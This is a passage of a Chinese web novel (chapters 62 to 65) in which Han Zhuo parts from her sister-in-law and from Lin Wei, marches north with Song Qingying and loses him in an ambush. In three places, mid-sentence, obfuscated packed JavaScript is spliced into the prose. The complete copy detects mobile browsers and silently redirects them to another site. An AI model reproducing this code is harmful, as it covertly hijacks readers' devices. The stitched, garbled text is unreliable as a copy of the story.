“不。”白兰茵道:“我不打算改嫁。” “什......么?” 按照白兰茵以往的性子,现在注定要吵嚷着闹起来了,可她没有,只是抽了抽嘴角,笑得有些苦:“爹也这样劝我,我还以为,你会有所不同。” 韩濯愣了愣,没明白:“嫂嫂?” “你既然叫我一声嫂嫂,今日我也托个大。”白兰茵道:“英武侯之位,很快便会落在阿濯你的身上,嫂嫂只求你一件事。” 韩濯正色道:“嫂嫂请说。” “劳你把珺儿带去雁关。” 韩濯以为自己听错了,她这小侄女才一丢丢点大,难不成要带这娇滴滴面团团的小娃娃去雁关,长别亲娘,风吹日晒? “可嫂嫂,如今北方战事未稳,珺儿她年纪又小,我......” “她本就是在雁关出生的。”白兰茵垂头看着怀里的幼童:“该在雁关长大。” “那您......” “我情愿留在京城,守着侯府,哪也不去。” 韩濯喉头哽了哽,她不敢反复驳白兰茵的话,还没见她之前,她便一路暗暗担心,自己会不会一个不注意戳中白兰茵的伤心处,甚至要死要活大闹一番。可现在,韩濯突然巴不得她闹起来,也好过如今这般哀莫大于心死的模样。 “我知道,对你这么个没生养过的姑娘家来说,教养一个娃娃谈何容易,嫂嫂对你不住,但为人母,总想着为自己的孩子挣一条路。” “嫂嫂的意思是......” “这不是个太平世道,”白兰茵道:“闺阁里的娇花,老天教她活,她便能活,老天教她死,她便得死,阿濯,我情愿她走你的路。” 韩濯哑声道:“嫂嫂舍得?” “舍不得。” “但我更怕有朝一日,她和我一样......阿濯,人活着,就靠一点依凭,靠一点念想,可我们这些人,从做姑娘开始到嫁了人,那依凭和念想就在方寸之间的一小点,轻烟一样,有点风吹草动就散了,可偏偏我们自小便以为,活一辈子,这一小点比天地还大,是我们这辈子的全部了。” “嫂嫂,”韩濯道:“你怎知哪一条路就更好,这世道的一粒灰,压在人身上便是一座山,人力微薄,终究有限,还不如......” 还不如求一时的安逸快乐。 但她说不出口。 白兰茵竟然笑了:“你自己都不认的道理,何必讲与我听?” 韩濯哑声道:“我不认,但我心里却知道。” 白兰茵道:“我不图什么平顺富贵,那是虚妄。我只愿将来若有朝一日山海倾覆,她能有力气挣一挣,别辜负了自己。” 韩濯没有理由拒绝。 她从白兰茵手中接过了韩珺,她睡得很熟,笑容恬静,天真无邪。 窗外淅淅沥沥下起夜雨。 “嫂嫂,您既然说得出这副道理,为何不和我同去雁关?” 白兰茵笑了笑,并未言语。 但韩濯明白了,在外人看来,她是白兰茵的小叔,丈夫刚死,不在府安心守寡,反而叔嫂二人裹在一处,未免招致闲言碎语。 韩濯张了张口想劝,可话到了嘴边,自觉全是些何不食肉糜的高高在上,因而闭了嘴。 “我说得出,却不敢做。”白兰茵道:“有些路即使明摆着,也需要勇气才走得通。” “珺儿总会和我不同。” 韩濯送走白兰茵,安顿好熟睡的韩珺再出门时,倒意外在院子里遇上了林蔚。 她正在细雨中微微出神,不知立了多久,发丝隐约打湿成雾。 竟然好像在等她。 韩濯纵然心里早便想通了,可看见林蔚,还是忍不住心神激荡。 她取了一把伞,撑在林蔚头顶:“堂主。” “我送您吧。” 林蔚轻轻甩了甩衣袖,从善如流地应了。 韩濯想问林蔚,她的身子如何,傀儡丹是否有解,当日斩杀永王时为何会现身。 可她摸不准林蔚的态度。 “韩濯。” 韩濯闻声停驻,此时夜色已沉,街上鲜有行人,雨滴淅沥作响,不断搅散静默。 她看向林蔚的脸。 “你不该优柔寡断。” 韩濯那一瞬间,凭空生出了一阵怒火,几乎想摔了雨伞走人。 “堂主,你既然不信任我,当初千防万防,今日又何必对我说这些?您不觉得有些交浅言深了么?” 这话伤敌一千自损三千,话一出口,韩濯身体里一阵隐秘地抽动,被剐得锥心刺骨。 “当初你叫我什么,我听见了。” 韩濯别过了头。 “你说交浅言深,那围攻永王时,你为何百般顾虑?” “......” “永王的傀儡丹只余一粒,他和石勒国早已撕破了脸,自然不会有解药给我,就算留着他,也没什么用处。” 韩濯闻此不可置信地失声道:“你说过你有后手!” 林蔚微微一笑:“我试过的,也委托过殿下帮忙打听羯族那边有无风声,但可惜......” “不,”韩濯又惶惶起来:“总会有办法的。” 林蔚看了韩濯许久,轻声道:“若有办法,你当如何?” “就算龙潭虎穴,也照闯不误。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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父亲并祖父母很快拦下了话头,不是怕韩濯伤心,是怕新媳妇不高兴。 模样能力不顶用的,她性格太硬太要强,哪有如今的媳妇好。 韩濯掀了桌子。 汤汤水水流了一地,杯盘狼藉,满地碎瓷,向来温和的男人拎起她的脖颈大吼,眼睛布满了红血丝,推搡着要打她,但她一滴眼泪也没流,就那么直愣愣地狠狠盯着他,像极了母亲。 看,她曾经也有这么大的脾气。 可随后,韩濯听到许多声音嘈杂地冲进耳朵。 是啊,就说小蔚脾气不行,教出来的孩子性格也差。 这孩子像她妈。 什么性格差,明明就是缺乏家教,也不知她妈怎么教的。 她不该恨,不该闹么? 明明是为了林蔚说话,可为什么最后反而却越来越多的人说林蔚的不好? 那之后她拼命地学习,拼命地长大,把自己硬生生塑造成一个“别人家的小孩”,成绩好,聪明有教养,礼貌又亲和,从不与人红眼。 她再也没去过祖父母家,但当年她收到林蔚母校的录取通知书,面对父亲举着那张薄纸对各种亲戚夸耀时,她只余木然。 即便她父亲醉醺醺时拉过旁人说:“这孩子头脑灵光,像她妈。” 林蔚,林蔚。 终于有人夸赞她了,韩濯却并不高兴。 韩濯回过神来时对上林蔚那双熟悉得不能再熟悉的眼睛。 她之前未见过的,已生华发的林蔚正在伞下看着她,仿佛从未消失,一直伴她走了这么远一般。 林蔚不需要这些人的任何赞誉。 “我......” “日后,待自己好些。” 一滴眼泪划至唇边,暖融融的咸涩。 “妈妈。” 63. 雪泥鸿爪 韩家时隔多年,再一次多了一重从龙护驾之功,新帝赏赐无数,面子里子都有了,一时间风光无限。 但这风光不过是外人的热闹,韩家外面光鲜,里面却是一座空壳,零星几个人加起来,弹琴一人分一根还得剩俩弦。韩胤的丧事按白兰茵的意思一切从简,由吴钩扶丧,先行护送灵柩北上,待韩濯率军至雁关时,与父母同葬,入土为安。 韩濯离京的那日和韩胤当初大大不同。 新帝率百官亲自折柳送行,韩濯沉吟片刻,只叩首婉拒。 “臣愧受陛下垂爱,结草衔环难以为报,柳者本寓挽留,原见陛下一片爱惜之意,可柳弱易折,非武人吉兆,反而平白生了挂碍,恐负陛下拔擢深恩。” 桥边新柳生的正好,远远观之,一片清润嫩绿雾绦,三月春风稍显料峭,韩濯平和的面容之下竟有些寂索,新皇只道她方失去唯一血亲,也不由物伤其类,只扶起韩濯,温声宽慰。 操着甲戈的行军队缓缓动了,如同一个缓慢的开机过程,随后如铿锵的流水一般,淌进仿佛正吞噬朝阳的地平线中去。 韩濯只觉人生起落无常,从驸马到司马,再到如今奉旨出征的英武侯,不过两年的光景。而这人生百年,又何尝不是如露如电,雪泥鸿爪,徒留虚影。她策马而行,长长叹了一口气。 耳边此时传来轻轻的响动,韩濯稍稍回转过神,见正是身侧马车内的宋青瑛掀起了帘子。 “清之?” 他今日穿得简朴素净极了,一双修长的手微微扶帘,称得整个人似珠玉般温润生光,脸上神色似疑似忧。 韩濯策马移近了些,温声道:“怎么,伤口还痛?” 宋青瑛摇了摇头,欲言又止,他方才听韩濯一声长叹,其中似有萧索之意,才忍不住探面询问。 “没,珺儿睡了,你瞧。” 韩濯向帘内望去,只见韩珺被宋青瑛抱在怀内,正兀自酣睡。 宋青瑛微微整了整韩珺身上盖的小被,随后抬起头,朝韩濯粲然一笑。 韩濯被一阵春风吹晃了神,耳边虽有萧萧马鸣,蹄声阵阵,却盖不过心中什么东西暗中疯狂滋长,如雨后春笋峥峥有声。 宋青瑛眼见着韩濯不看韩珺,反而盯着自己瞧,脸上不由涌上一阵热意,他刚要开口,便见韩濯原本牵着缰绳的手探了过来。他心脏砰砰乱跳,也不知韩濯要做些什么,只乖乖呆在原处任人宰割,而那双手在将要触到自己脸颊的下一刻,蓦然转了个弯,朝自己鬓间探去。随后,从发间夹了一片粉盈乳白的桃花瓣下来。 如今花事烂漫,满城落英纷飞,这花瓣不知何时落在了宋青瑛鬓发之间,倒留情到了韩濯那里。韩濯手腕一转,夹在修长双指间端详片刻,突然眼带笑意看着他,转手将这一片细小的落红放到唇边舔了去。 宋青瑛那一瞬间周身仿佛被电了一通,在韩濯口中辗转咀嚼的似乎不是那片残花,倒似是他身上的什么部位似的,宋青瑛的脸一瞬间轰然红透,一句话也说不出来。 那无端卖弄风流的罪魁祸首却只是低低笑了一声,随后一夹马腹,策至行军队前,嘴里似乎还哼着某个宋青瑛曾听她唱过的江南小曲。 “十月寒霜六月天,秋去春来年复年,才觉得改却三分少年气,转眼鬓丝白发添......”① 宋青瑛坐了回去,仔细听了片刻,面上热意渐渐褪去,也仿佛心有所感。怀中的韩珺吧嗒了一下小嘴,宋青瑛轻轻晃了晃,口中喃喃哄了几句,韩珺便翻了个身,继续酣睡。 “你要是一辈子都这么没心没肺就好了。”宋青瑛微笑着轻轻道。 晋州居于西京东北,正是大齐开国太祖皇帝龙兴起家之地,从西京至雁关的往来路上百年间不知留下多少前人的壮志或倚怀。到了晚上,韩濯吩咐下去,临河边支起了行军帐,此地一片平旷,只有几个未生乔木的土丘,韩濯策马而上,但见天际紫幕吞没缇色霞影,缺月已由朦胧渐渐凝实。 她搓了搓有些微凉的双手,凝望空挂而下的夜幕,远方零零一株孤槐,把远景分割成不均匀的色块,她瞧着瞧着,有些愣神。 忽然耳边似乎从不远处传来细碎声响,韩濯闻声下马,回头望去,见是宋青瑛正一步步走上土丘。 韩濯在最后伸手拉了宋青瑛一把:“珺儿呢?” 宋青瑛道:“方才闹了一会儿,现在又睡了,在李三三那儿呢,这孩子不知怎么,这么爱睡,倒乖巧,离了娘也不哭不闹的。” 韩濯笑了笑:“辛苦你了。” “哪里的话。”宋青瑛接道。 “清之。” “嗯?” “你怕么?” 韩濯失笑:“怕什么?” 宋青瑛见状也摇了摇头:“也是,怎么可能?” 说来也怪,韩濯之前没料到自己还有领兵打仗这一天,突然临危受命,本该有些慌乱的,可她的心却从未如此安稳过,似乎兜兜转转终于回到了预设好的轨道,反使人心安。 “堂主也离京了,说不定什么时候又会在晋州相遇。” “为了傀儡丹之事?” “不全是,”宋青瑛道:“与北方诸国的商路已经打通,堂主总要安顿好,路路通在大同亦有不少据点。” 韩濯沉默片刻,又道:“我也不是什么都不怕的。” 宋青瑛明白她指的是什么:“我也会尽力。” 韩濯一颗心本来木然地悬着,此刻提到林蔚,却忽然沉了下去。 傀儡丹只剩一颗,留给他们的时间实在不多。 “清之,堂主她……究竟是你什么人?” 韩濯不知道怎么和宋青瑛开口。 其实她在大齐所谓的不怕,不过是总觉得自己有退路罢了,死了大不了就赌一把回到现世,这里本就不属于她,没什么可惜的。 但她在这里活得越久,平生出各种牵绊来,那些冠冕堂皇的洒脱便越艰难,更何况林蔚,在大齐见不到了,以后兴许就真的见不到了。 她斟酌片刻,开口道:“是一个很重要的人,和母亲一样。” “但她现在似乎还没来得及记得我。” 这话其实是有些奇怪的,记不记得,哪里用得上来不来得及。 但宋青瑛见韩濯神色落寞,上前拉住了韩濯的手,也没再细问。 “阿瑛,你觉得堂主是个怎样的人?” 宋青瑛想了想,道:“非此界之人。” 韩濯心里一跳,失声道:“什么?” 宋青瑛看韩濯的反应,有些惊讶,解释道:“不是鬼神之论,我不知应该怎么说,只是她……和旁人很不同,很多事情,她做成了也没有喜形于色,做不成也从没懊丧过,这世上没什么利益能打动她,就连她自己的性命,似乎也不觉得紧要。” 宋青瑛想了想:“她和墨娘子是同门,师父定然也是世外高人,堂主即便入世也超然物外,应当和师承有些关系。” 韩濯点了点头,心中却另有所想,林蔚不露悲喜,不耽生死,大概和师承没什么关系。 天命无论将人困于此界多 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138250|156385||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 久,也难动摇心之所归。 韩濯甩了甩头,没忍住兀自叹了口气。 宋青瑛紧了紧拉住韩濯的手。 “清之,你去过雁关么?” “算是……去过,怎么?” 宋青瑛歪了歪头,轻轻靠在了韩濯肩膀上:“雁关是什么样的?我还未曾去过。” 韩濯只觉得一股极清的白檀香气微微浮动,引得心底一片温柔无限,她看向宋青瑛,伸手摩挲着他额间的红色小痣:“城墙蔓延山野,天高地阔,关外牛羊成群,夜晚时,天上的星星低得伸手就能摘下来。” “你什么时候去的?” 韩濯那时还小,被老英武侯提溜过去在兵营里混过一段时日,后来战事吃紧,便遣人将她送了回去,但这些韩濯都不大记得了,她和宋青瑛信口胡诌,不过是前世时寒假社会实践去过一次断雁关古迹,照着当时解说牌的简介说给他听罢了。 “很小了。”韩濯笑着道:“那时我淘气得很,捣蛋割过好几个伯伯的胡子,他们和爹告我的状,那回被打得很惨。如今要再见他们的面,我心里还有点发怵呢。” 宋青瑛随着韩濯笑得直抖,可笑着笑着又停了下来:“清之。” “嗯。” “你要小心,你身手自然是好,可做统帅终归和单打独斗不同,你做事有时......没有轻重,我怕......” 韩濯笑了笑:“我清楚自己的斤两,凡事我会和众将士商议,虚心求教,有劳公主殿下为臣挂怀。” 她一边说着,一边卖弄风度地作了个揖,宋青瑛被她撩得脸红,故作平静地扶她起身:“言重了。” 韩濯看宋青瑛脸红,又手痒想逗人,她笑嘻嘻地起身,迅速挠了挠宋青瑛的下巴,这是个类似于抚摸狸猫的手法,称不上暧昧,却十分亲密,宋青瑛被她弄得一缩脖子,嗔道:“清之!” “又叫我做什么?”韩濯脸上笑眯眯,可宋青瑛分明看出了藏在表皮下的一肚子坏水。 “你别这样......”宋青瑛小声道:“我怕我忍不住......” “忍不住什么?”韩濯继续逗:“你要把我怎样?” 不怎样。宋青瑛想,自己没那么胆大包天,但韩濯有一下没一下这么撩人,他一个初长成的大好男儿,哪里受得住。 见宋青瑛支支吾吾,韩濯大笑着在他的惊呼下将人扶上马背,随后自己也坐了上去,在宋青瑛回头时给了人一个绵长的吻。 “月色正好,我们跑马去!” “清之!” 韩濯的脑子不知又飞到了哪去,她道:“等平了北边诸国之乱,我们就常在一块跑马,雁关景色壮阔,和京城,江南都不同,有的是地方好耍......北边的羊肉最是鲜美好吃,冬日里用冰雪煮上一釜,能嫩掉人的舌头......唔,冬日的羊肥了些,不如烤了来更美.....” 宋青瑛只觉耳边夜风流淌而过,韩濯的发丝随风而荡,他们策马而下时正好撞上从帐内走出来的李三三,被他二人旁若无人地飞驰擦过,气急败坏地跳脚:“两个龟儿别忘记喝药!” 韩濯大笑了几声,二人离营地越来越远,奔得愈久,愈觉天高地远,四野之间只剩下他们二人,这样的奔袭,简直像抛却所有挂碍的一场私奔。宋青瑛觉得心中一股难以名状的激动将要冲破胸膛而出。 韩濯突然觉得传来一阵奇异的触感,是宋青瑛亲了亲她的后颈。 “清之,我好欢喜!” 注①:出自越剧《双烈记》 64. 艽野奔郊 行军不比当初上任时那般悠哉,习武之人脚程甚快,这日已行至平阳,将入辽州境内,眼瞧着夕阳下坠,已是黄昏。 韩濯擦了擦额头的细汗,打马踱到车架近前,掀开了帘子:“阿瑛?你冷不冷?” 见宋青瑛笑着摇了摇头,韩濯道:“这一路舟车劳顿着实辛苦你......伤口还成么,有什么不对要及时说。” “哪里那么娇气,”宋青瑛道:“已经开始愈合了,时不时酥酥痒痒的,倒是你......” 一路上,李三三已经全然目睹这二人的腻歪,此时到了春日,不少年轻孩童开始放风筝,但长宁公主放的是韩濯,他好像身上粘了个时不时收紧的风筝线,那堂堂英武侯就是栓在上面的纸鸢,不到一个时辰就要过去遛遛说点毫无意义的垃圾废话。 李三三从前无条件站在宋青瑛那边,为了帮他把韩濯勾到手费尽心思,可如今这两人真的如宋青瑛所愿成日里发腻,她倒浑身起鸡皮疙瘩咬牙切齿起来,李姑娘非凡物,修的是孑然一身的逍遥道,无法与这等俗人共情半分,她冷哼一声,骑着随着大军也丝毫不见落后的死鬼绕过了车架,留下一个清高的背影。 她身后几个兵士虽看上去目不转睛心无旁骛,却一路上靠侯爷和公主的恩恩爱爱解闷,每当韩濯凑过去,便竖起耳朵心里直冒金光,连脚上踩得都有力了起来。 此处临崖两侧环山,又将要入夜,韩濯本能地警惕半分,这处是个极适合敌人伏击的地方,虽说离雁关尚远,不大可能会有敌军出没,可韩濯不知为何,今日眼皮一直跳个不停,心脏不安地发毛,她又不能表现出来显得压不住阵,只能反复到宋青瑛近前说些废话确认安全,一边催促行程加快,赶快离开此处山峡。 就在这时,迎面奔来一匹飞驰瘦马,似乎马背上并无人策驾,可到了近前韩濯才发现那马背上的人周身染血,手足虚软地垂在两侧,整个人伏在马背上死生不明,韩濯拦下瘦马,看见此人面容时,瞳孔骤缩。 那人竟然是宋青瑛的侍从秋迟! 秋迟在此时动了动,韩濯将人抱下马来,只听他细碎呻吟两声,叫道:“主子.......” 他的手举不起来,但仍然拼命地向胸前够,韩濯会意,从他怀中取出一张脆弱的信纸,那信纸相对于秋迟的衣衫称得上干净,但仍有斑点血迹,宋青瑛下了车,见此情状失声叫道:“秋迟!” 秋迟双眼颤了颤,模模糊糊看见宋青瑛的轮廓,喃喃一句“主子”还未落地,头一歪便咽了气。 众人见状无不震于当场,宋青瑛心被戳得一痛,秋迟年纪尚小,当初下江南时宋青瑛见那插标卖身葬母的孩子可怜机灵,便出手厚葬了他的母亲,并未收他为奴,可这孩子似乎认准了他一般,两年来随他风里来雨里去,单方面地认他为主子,宋青瑛起初还会纠正,无果后便随他叫去了。 他派秋迟一路跟随林蔚,时时注意那羯族商人的动向,没成想却教他送了命。 “石勒国内讧,北方诸国混战,支曲陆走投无路......” 韩濯迅速读了一遍,心里一跳,按住了宋青瑛的肩膀:“石勒国主正在找你!” 宋青瑛还未来得及出声,便听得两侧山崖传来几声急促的呼哨,其音似山魈,不像中原器乐,一支利箭尖啸着划破天际,直冲韩濯身侧的骑兵而去,韩濯一声呼喝,雪亮的刀光一闪,那支箭“当啷”一声被拦截而下,那骑兵骤然起了一身冷汗,后知后觉知道自己方才逃过了脖颈被一箭射穿的命运,韩濯立在他身前,厉声道:“全体戒严!” 两侧山崖之上又接连十几只利箭射出,直冲峡中众军,随后方才还一片沉寂的两崖枯木丛中一阵啸啸之音,如冷汤入油,霎时沸反盈天起来,约五六十个身穿貂袍的异族武士大叫着自山上滑下,韩濯一边挡开飞来的箭矢,一边厉声道:“莫乱阵脚,不过是几十个藏头露尾的鼠辈罢了,诸位都是大齐数一数二的好儿郎,此役便是你们立的第一重军功!” 这些兵士部分是当初为了平西京之乱从雁关调出的新兵,部分是京城中选拔出的御林军。这几年诸国还算老实,相比韩濯父亲那时雁关绞肉机一般的惨状,北方诸部偶尔的打秋风几乎称得上小打小闹,因此这一批新兵作战经验本就不多。更别说御林军平时连刺客都难得一见,更没什么仗可打,眼下突然遭袭,自然有不少人乱了阵脚,韩濯呼喝过后,从背后取出那把沉弓,瞬息之间“嗖嗖嗖”射出三箭,洞穿了两个正滑奔而下的异族兵士头颅。 众兵听闻韩濯的呼喝,也精神一振,两拨人立时交战在一处,杀声震天。 那异族兵士虽然生得高大非常,作战悍勇无匹,可毕竟人数过少,终究难以匹敌,可就在韩濯刚刚砍下一个生得须发虬髯的兵士头颅时,崖上又是一阵箭矢如雨点一般飞下。 这个地形着实不利,韩濯挡开朝自己和周围几个兵士招呼来的乱箭,叫道:“向北离开峡谷!” 韩濯向身边一抓,却抓了个空,她心跳漏了一拍,吓得头皮都麻了:“殿下呢!” 宋青瑛方才被一个险而又险的箭矢逼到了韩濯一丈之外,忽然想起韩珺还呆在车驾里,立时挣着穿过裹成一团的两波人,短短几步路走得凶险万分。 宋青瑛爬上车,在刀剑的铿锵中挤了进去,见韩珺还好端端躺在车内,立时松了一口气,那孩子似乎醒了,向天空挥了挥小手,嘤嘤地咿呀几声,宋青瑛忙膝行过去,将她抱在怀内。 就在这时,一支羽箭“嗖”地一声正中马臀,那马儿受惊,痛得长嘶一声,扬起前蹄,踏越过前方一个异族士兵的尸体,向前方飞驰而去。 宋青瑛只觉得一阵颠簸,他怀抱韩珺没什么东西可扶,被骤然甩向旁侧,“咚”地一声重重撞在了车厢内壁,后腰撞上木板边缘,痛得蜷缩了起来。 可这受了惊的马儿没给他起身稳住的机会,在乱军中横冲直撞,宋青瑛在车厢内涂来涂去,拼命护着哇哇大叫的韩珺,紧张地一颗心要跳将出来,剐蹭到刀伤的痛都仿佛隔了一层。那马儿终于冲出乱军,带着车架一路奔驰向北,宋青瑛被这番颠簸得想吐,勉强扶着车壁膝行向前,企图爬上马背及时收缰。 韩濯眼瞧着马儿受惊,踩踏着军士向远处奔逃而去,乱军相交之间,她听见了韩珺发出的稚嫩呼叫,一时魂飞天外,失声叫道:“殿下!” 眼前兵士还在一团缠斗,她飞身一跳欲跃出,却又被另一群拦住去路,她紧了紧手中刀刃,直冲出去,一把寒刀挥得仿佛朔风过境,呼吸之间,似秋日老农刈麦一般,数个异族兵士血溅当场。 这帮兵士似乎并不打算和他们硬碰硬,此时剩下的活口一面打一面退至外围,竟隐隐有要撤的趋势,韩濯心中焦灼,回身砍死一人后,目光借着余晖在路过山上的一丛灌木时寒光一闪,立时弯弓搭箭,一支银光森凉的长箭自下而上划破长天,藏在灌木枯枝之中的异族兵士应声而倒,那未来得及吹出撤退令的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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夜风过耳,竟是起了风沙,漫野荒枝寥落,风打飒飒,韩濯心跳欲出,肺似乎要炸开,她半看半猜,沿着微乎其微的蛛丝马迹奔走,可数日无雨,寻常人奔走而过,哪里会留下行迹? 韩濯周身如热汤浇身,眼前几乎起了雾,忽地借着月色瞧见前方地上似乎有个鼓包,她看见救命稻草一般疾奔过去,可看清那是什么时,一颗才扬起来的心倏然坠地。 那是个已经毙命的蛮族士兵。 她尚怀着一丝侥幸,希望这人是宋青瑛杀死的,可将此人翻过来时,却见一支羽箭贯穿脖颈,显然因此而亡。 这箭矢必然不是宋青瑛所为了,韩濯双耳嗡鸣,几乎要永时僵立荒野,而就在此刻,韩濯听见了几声极细微的孩童哭声。 韩濯被这几声哭泣从地狱锤回了人间,她急促喘息了几声,沿着哭声搜寻,最后竟找到了一处嶙峋怪石,其下一方小洞,恰好够一岁孩童藏匿。 韩濯方才跑得肺腑欲裂,此刻倏然跪倒,几欲呕吐,但她不敢停,一边干呕着一边徒手拨开尘灰碎石,只见韩珺正安然躺在黑漆漆石洞之中,口中被一块衣料塞住,小小的身子也被一根发带绑缚。 韩濯忍着晕眩,将韩珺抱了出来,拽出了她口中衣料,不再有什么东西阻碍幼小的孩童大显神通,韩珺张开小小巨口,“哇哇”大哭了起来。 韩濯却无法看顾怀中孩童哭闹,她怔怔瞧着那块衣料和韩珺身上的发带,明明是宋青瑛的。 这分明是他逃到此处退无可退,不得已将韩珺藏匿于此,只身将兵士引开时所为,韩濯心口巨震,勉强着踉跄支起身子,但见月光下两截东西粲然闪光,她爬过去惶然拾起。 琉璃易碎,此时已分付两截,韩濯攥紧这碎了的琉璃发簪,茫然地咽下干涩喉头的血意,挣着起身环顾。 只见四野茫茫,野云压压,春郊萧条,哪里有半点宋青瑛的影迹? 65. 死生师友 雁关边陲。 天边尚闪着一两颗惺忪的星子,远山微微笼着一层亮青,山脚下一家羊汤店的老板却早早开了店门,他打着哈欠,提着桶朝门外泼出一盆冷掉的残羹,春朝尚寒,他紧了紧披着的外袍,打了个激灵。 远处山中似有什么一闪而过,他没敢确定,揉了揉眼睛。 这回他看清楚了,一道黑影在不远处山头的林稍上略过,灵活如雀鸟,可仔细看大小却绝非山鹰野狸一类,更像是一个人。他惊得“啊呀”一声,待定睛细看,那道黑影却再无行迹。 黑衣女人踏在山头林稍之上,如走在平地一般,她攀至峰顶,似乎环顾四周,微微顿了一下,才如一片秋叶般落下,瞬间没进了深林之内。不多时,她行至一片林间空地,在那空地之上,竟然建了一间玲珑茅屋,一个身形清俊的年轻人正立于阶前,背对着她看不清面容。 “你来得很早。”黑衣女缓缓道。 那人转过身来,声音似乎有些嘶哑:“堂主。” 林蔚看着眼前这人的模样,竟然微微愣了愣,她面色苍白,鬓发枯燥,似乎瘦了不少,连眼窝都有些陷了下来,脸还是那张脸,可人却不像那人了。 韩濯看着林蔚风尘仆仆的样子,疲惫地垂下了眼,可片刻后还是开口道:“堂主还有毒伤在身,轻功还是少动用吧。” 林蔚道:“我死与不死,不该由你来管,剩下这半月,我只安置好路路通,多瞧瞧风景便罢。” 韩濯嘴唇蠕动片刻,似乎累得紧了,肩背垮了下去:“堂主真的要走?” 林蔚瞧了她一眼,开口道:“我十年前便该走了,只是从前要寻的人一直未曾寻到,路路通还未交代好,不敢抽身而退罢了,如今我孑然一身无挂碍,为何不走?难道等着不知什么时候再平生出孽缘来?” 韩濯也不知她是不是在点自己,盯着她看了良久,又道:“那小目和天元怎么办?”她指的是林蔚身边的那两个小姑娘。 林蔚似乎颇觉莫名其妙:“她们也不小了,我又不是她们的娘。” 韩濯无言,她想问:那我呢?可是或许是连日反复的希望与失望,她太疲惫了,竟然觉得林蔚离开大齐也是一件好事,自己没资格拦她。 “那墨娘子呢?”韩濯最终问。 林蔚第一次欲言又止。 “孽缘罢了。”她轻飘飘道:“不必再见。” “你们不是师姐妹么?” “是。”林蔚言简意赅:“但她不这么想。” 韩濯眼角抽了抽,想起还在蜀时从那敲碗的老伯那里听到的曲儿。 “你们该不会是在庙里第一回见的面......” 林蔚掀起眼皮,颇为惊讶。 韩濯知道自己猜对了,按照往常,她定要把这两人的爱恨情仇问个明明白白才肯罢休,可此刻她提不起力气和精神去问了。 “如果我能找到解药,你会吃么?”韩濯抱着最后一丝挣脱疲惫的希望问道。 林蔚一声嗤笑:“你还真以为有解药?” “怎么......”韩濯茫然。 “我早就知道,这傀儡丹根本没有解药,”林蔚道:“你已帮我续了几月命,让我能交代好路路通和身后事,这就足够了,”林蔚道:“我在此间受过太多煎熬,不愿再靠着这东西苟延残喘,若说有什么痛快的......” “大概是在最后能亲自手刃那个畜生。” 可是你回去就会变好么?韩濯紧了紧拳。 “堂主,您能不能答应我最后一件事?” “说吧。” “您......回去之后可不可以不要结婚?” 林蔚盯着韩濯看了半天,天光已经大亮,照得韩濯的脸色看上去好了不少。 “神经病。” “殿下的事我会帮你,但以后的路,你自己走吧,我不奉陪了。” “殿下有消息了?” “不然我为什么亲自来找你。”林蔚说着,递给韩濯片纸:“喏,和你我想得差不多。” 韩濯那夜奔行荒郊,一刻也未曾停歇,可却连宋青瑛的影都没见着,几乎要清醒着梦魇,李三三神医妙手给她扎了几针才把魂儿唤回来,行军路程不可耽搁,更何况宋青瑛十有八九便是被那羯族掳了去,韩濯率军至雁门,不过是五日前的光景。 那石勒国主正是翻身为奴的羯族人支曲陆,羯族人善战,可生性残暴,甚至在汉人看来称得上灭绝人性了。当年雁关诸国联军与大齐混战,羯族人虽为奴隶,战场却极悍勇,当年有人称,瞧见被俘虏的汉人兵士一个个在军帐旁像牲畜一般被剥了衣衫,开膛破肚,四肢,首级,双耳,胸腹被分别堆放在一处,大鼎中热汤翻滚,蒸出来的水汽全是人脂的腥味,那些野狼一般的羯族人眼冒着金光,举着木碗分而食之,惨绝人寰,仿若人间地狱。 宋青瑛便是落在这些人手中,韩濯每每梦中惊醒,都焦得翻身连连作呕。 如今石勒起了内讧,那支曲陆不久前还联合诸国来犯,可不知怎的突然病重,想必是内部有人借此钻了空子,那支曲陆戎马一生,却几乎要在此番倒台,不得不生了故技重施的心思,想攀上大齐的助力。 “详谈?他们羯族人实在有意思,倒不如说挟持殿下来威胁我叛国!” 韩濯撕碎了这张脆弱的纸张,愤愤道。 挟持宋青瑛,必然是支曲陆的授意,可最后真正劫走他的,却不是支曲陆。 “那人叫石严,母亲是汉人,和那支曲陆是同父异母的兄弟,也是......”林蔚顿了顿。 韩濯却猜到了:“殿下一直联系的羯族商人便是他。” “是,”林蔚利索道:“他是个商人,短短五年之内,便垄断了大齐与北方诸国及西域通商的全部商路,切断了我们的好几条路,我从前只以为他是生意场上的对手,没想到他做这一切,其实是打着窃国的主意。我猜,石勒那将支曲陆逼到绝境的就是他。” 这边大齐兄弟阋墙,那边石勒也上演着同样的戏码,实在是颇具戏剧性。 “他选这个时候动手,实在有些奇怪。”韩濯皱起眉。 本来支曲陆联合诸国准备和大齐打仗,他来横插一杠,即便是夺权胜出,这么折腾下来,石勒还剩多少气在,他想难不成想玉石俱焚,做光杆国主? 不过就是仗着宋青瑛还在他手上,赌韩濯不敢出兵。 “还有个东西。”林蔚从怀中取出一方布巾,韩濯依言接过,瞧清楚时却心脏怦怦狂跳,手不可控制地发起抖来。 上面的字迹由鲜血写就,只寥寥三字,依稀可辨出宋青瑛的字迹。 “尚安,打。” “他什么意思......”韩濯周身都有些发颤。 “字面意思。”林蔚道:“他教你不必谈,直接打,有什么看不明白的?” “不......我是说,我......” “不敢?” 韩濯紧了紧拳:“我......”她恍惚了一阵,承认道:“是。” 林蔚瞧了她片刻:“他说尚安。” 